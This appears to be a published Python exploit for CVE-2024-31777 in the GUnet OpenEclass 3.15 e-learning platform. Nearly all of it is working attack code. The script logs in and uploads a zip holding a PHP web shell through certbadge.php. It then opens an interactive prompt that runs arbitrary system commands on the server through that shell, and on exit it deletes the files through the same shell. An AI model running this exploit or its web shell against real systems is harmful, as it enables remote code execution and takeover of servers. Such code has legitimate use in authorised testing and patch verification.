1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 |
# Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload # Date: 2024-02-04 # Exploit Author: Georgios Tsimpidas # Vendor Homepage: https://www.openeclass.org/ # Software Link: https://download.openeclass.org/files/3.15/ # Version: 3.15 (2024) # Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1) # CVE : CVE-2024-31777 # GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File import requests import argparse import zipfile import os import sys RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' RESET = '\033[0m' ORANGE = '\033[38;5;208m' MALICIOUS_PAYLOAD = """\ <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; } ?> """ def banner(): print(f'''{RED} {YELLOW} ============================ Author: Frey ============================ {RESET}''') def execute_command(openeclass, filename): while True: # Prompt for user input with "eclass" cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}") # Check if the command is 'quit', then break the loop if cmd.lower() == "quit": print(f"{ORANGE}\nExiting...{RESET}") clean_server(openeclass) sys.exit() # Construct the URL with the user-provided command url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}" # Execute the GET request try: response = requests.get(url) # Check if the request was successful if response.status_code == 200: # Print the response text print(f"{GREEN}{response.text}{RESET}") except requests.exceptions.RequestException as e: # Print any error that occurs during the request print(f"{RED}An error occurred: {e}{RESET}") def upload_web_shell(openeclass, username, password): login_url = f'{openeclass}/?login_page=1' login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php' # Login credentials payload = { 'next': '/main/portfolio.php', 'uname': f'{username}', 'pass': f'{password}', 'submit': 'Enter' } headers = { 'Referer': login_page_url, } # Use a session to ensure cookies are handled correctly with requests.Session() as session: # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens session.get(login_page_url) # Post the login credentials response = session.post(login_url, headers=headers, data=payload) # Create a zip file containing the malicious payload zip_file_path = 'malicious_payload.zip' with zipfile.ZipFile(zip_file_path, 'w') as zipf: zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode()) # Upload the zip file url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert' files = { 'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'), 'certhtmlfile': (None, ''), 'orientation': (None, 'L'), 'description': (None, ''), 'cert_id': (None, ''), 'submit_cert_template': (None, '') } response = session.post(url, files=files) # Clean up the zip file os.remove(zip_file_path) # Check if the upload was successful if response.status_code == 200: print(f"{GREEN}Payload uploaded successfully!{RESET}") return True else: print(f"{RED}Failed to upload payload. Exiting...{RESET}") return False def clean_server(openeclass): print(f"{ORANGE}Cleaning server...{RESET}") # Remove the uploaded files requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip") requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php") print(f"{GREEN}Server cleaned successfully!{RESET}") def main(): parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution") parser.add_argument('-u', '--username', required=True, help="Username for login") parser.add_argument('-p', '--password', required=True, help="Password for login") parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass") args = parser.parse_args() banner() # Running the main login and execute command function if upload_web_shell(args.eclass, args.username, args.password): execute_command(args.eclass, 'evil.php') if __name__ == "__main__": main() |